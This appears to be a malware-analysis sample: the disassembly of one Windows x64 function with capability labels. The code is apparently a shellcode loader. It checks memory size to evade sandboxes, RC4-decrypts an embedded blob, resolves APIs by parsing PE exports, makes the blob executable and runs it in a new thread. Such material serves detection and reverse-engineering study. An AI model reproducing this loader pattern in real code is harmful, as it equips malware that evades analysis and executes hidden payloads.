Function at 0x140002630
Capabilities:
Encode data using xor
Get memory capacity
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x658
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
movabs rax, 0x17ff53801
cmp qword [rsp + 0x38], rax
jae 0x140002671
lea rcx, [0x1400016b0]
call fcn.140001df0
xor eax, eax
add rsp, 0x658
ret
mov qword [rsp + 0x670], rbx
mov qword [rsp + 0x678], rbp
mov qword [rsp + 0x650], rsi
mov qword [rsp + 0x648], rdi
mov qword [rsp + 0x640], r12
mov qword [rsp + 0x638], r14
mov qword [rsp + 0x630], r15
call fcn.140002010
movabs rax, 0x38397265767771
lea rcx, [rsp + 0x280]
mov qword [rsp + 0x668], rax
mov edx, 7
lea rax, [0x1400012b0]
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400026e0
movups xmm0, xmmword [rax]
mov rdi, 0xffffffffffffffff
movups xmm1, xmmword [rax + 0x10]
movzx eax, word [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov word [rcx + 0x20], ax
lea rax, [rsp + 0x668]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002760
mov esi, 0x100
lea rcx, [rsp + 0x180]
mov r8d, esi
xor edx, edx
xor ebx, ebx
call sub.VCRUNTIME140.dll_memset
xor r8d, r8d
xor r9d, r9d
nop dword [rax + rax]
xor edx, edx
mov byte [rsp + r9 + 0x70], r8b
mov eax, r8d
lea r9, [r9 + 1]
div edi
inc r8d
movzx eax, byte [rsp + rdx + 0x668]
mov byte [rsp + r9 + 0x17f], al
cmp r8d, esi
jl 0x140002790
xor edx, edx
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x180]
movzx r8d, byte [rsp + rdx + 0x70]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400027e5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x70]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x70], al
inc rdx
mov byte [rcx], r8b
sub rsi, 1
jne 0x1400027c0
lea rax, [0x140004260]
lea rcx, [rsp + 0x70]
lea edx, [rsi + 2]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140002812
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002bf0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx r9d, byte [rsp + 0x71]
xor r8d, r8d
movzx edx, r9b
movzx eax, byte [rsp + rdx + 0x70]
mov byte [rsp + 0x71], al
mov byte [rsp + rdx + 0x70], dl
movzx r9d, byte [rsp + 0x71]
lea rcx, [rdx + r9]
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x70]
xor byte [rsp + r8 + 0x280], cl
inc r8
cmp r8, 0x3a2
jb 0x140002882
call fcn.1400030d0
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], 0
je 0x1400028de
nop dword [rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], 0
jne 0x1400028d0
mov rsi, qword [rax + 0x10]
xor ebx, ebx
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
add rcx, rsi
mov r14d, dword [rcx + 0x1c]
mov r15d, dword [rcx + 0x20]
add r14, rsi
mov r12d, dword [rcx + 0x24]
add r15, rsi
mov ebp, dword [rcx + 0x18]
add r12, rsi
test rbp, rbp
je 0x14000293b
nop
movzx eax, word [r12 + rbx*2]
lea rdx, [0x140001200]
mov ecx, dword [r15 + rbx*4]
add rcx, rsi
mov edi, dword [r14 + rax*4]
add rdi, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140002943
inc rbx
cmp rbx, rbp
jb 0x140002910
mov rdi, qword [rsp + 0x660]
lea rdx, [0x140001658]
mov rcx, rsi
call rdi
lea rdx, [0x140001668]
mov rcx, rsi
mov rbx, rax
call rdi
lea rdx, [0x140001678]
mov rcx, rsi
call rdi
lea r9, [rsp + 0x660]
mov edx, 0x3a2
mov r8d, 0x40
lea rcx, [rsp + 0x280]
mov rsi, rax
call rbx
lea rcx, [0x140001690]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r15, qword [rsp + 0x630]
mov r14, qword [rsp + 0x638]
mov r12, qword [rsp + 0x640]
mov rbp, qword [rsp + 0x678]
mov rbx, qword [rsp + 0x670]
test rax, rax
jne 0x1400029cb
mov eax, 1
jmp 0x140002a11
lea rdx, [0x140001668]
mov rcx, rax
call rdi
test rax, rax
jne 0x1400029e3
mov eax, 3
jmp 0x140002a11
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x280]
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call rax
mov edx, 0xffffffff
mov rcx, rax
call rsi
xor eax, eax
mov rsi, qword [rsp + 0x650]
mov rdi, qword [rsp + 0x648]
add rsp, 0x658
ret